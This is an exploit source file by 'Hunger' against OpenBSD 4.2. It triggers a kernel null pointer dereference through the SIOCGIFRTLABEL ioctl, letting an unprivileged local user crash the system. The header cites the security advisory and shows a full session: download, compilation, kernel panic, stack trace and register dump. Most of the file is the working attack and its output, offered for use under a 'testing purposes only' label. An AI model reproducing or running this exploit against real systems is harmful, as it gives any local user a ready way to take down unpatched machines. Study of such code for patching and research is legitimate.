/* * OpenBSD 4.2 rtlabel_id2name() [SIOCGIFRTLABEL ioctl] * Null Pointer Dereference local Denial of Service Exploit * * by Hunger * * Advisory: * http://marc.info/?l=openbsd-security-announce&m=120007327504064 * * FOR TESTING PURPOSES ONLY! * * $ uname -mrsv * OpenBSD 4.2 GENERIC#375 i386 * $ id * uid=1000(hunger) gid=1000(hunger) groups=1000(hunger) * $ ftp -V http://hunger.hu/rtlabdos.c * 100% |******************************************| 1814 00:00 * $ gcc rtlabdos.c -o rtlabdos * $ ./rtlabdos * uvm_fault(0xd617865e0, 0x0, 0, 1) -> e * kernel: page fault trap, code=0 * Stopped at strlcpy+0x1c: movb 0(%edx),%al * ddb> trace * strlcpy(d826fd98,0,20,6,d61772a0) at strlcpy+0x1c * ifioctl(d6033280,c0206983,d826fe78,d616696c,d61772a0) at ifioctl+0xa0d * sys_ioctl(d616696c,d826ff68,d826ff58,1c000680,73) at sys_ioctl+0x125 * syscall() at syscall+0x24a * --- syscall (number 54) --- * 0xf557d1: * ddb> show registers * ds 0x10 * es 0x10 * fs 0x58 * gs 0x10 * edi 0 * esi 0x20 * ebp 0xd826fd60 end+0x7a33a90 * ebx 0xd826fd98 end+0x7a33ac8 * edx 0 * ecx 0x1f * eax 0 * eip 0xd064acb0 strlcpy+0x1c * cs 0x8 * eflags 0x10212 * esp 0xd826fd54 end+0x7a33a84 * ss 0xd8260010 end+0x7a23d40 * strlcpy+0x1c: movb 0(%edx),%al * */ #include #include #include #include int main(void) { struct ifreq ifr = { .ifr_name = "lo0" }; return ioctl(socket(AF_INET, SOCK_DGRAM, 0), SIOCGIFRTLABEL, &ifr); }